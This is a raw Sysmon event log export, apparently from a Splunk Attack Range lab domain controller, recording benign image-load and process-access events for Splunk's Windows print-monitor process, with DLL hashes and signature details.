Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F25BAB6CADFD245756A815CD795CF94A,SHA256=639AC0C349ECE66E2496361827D74D498E5845EF3378DABFEF52EDA7ADF236D6,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000056121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.929{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000056120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.929{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000056119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.929{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000056118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.733{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000056117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.733{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000056116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.733{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000056115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.733{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000056114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.733{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000056113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.733{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000056112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.733{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000056111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000056110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000056109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000056108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000056107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000056106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000056105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000056104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000056103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000056102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000056101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000056100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000056099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000056098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000056097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000056096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000056095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000056094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000056093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000056092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000056091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000056090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000056087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000056086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000056084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000056082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:21.717{7BD73061-74A9-613B-A30B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000056077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 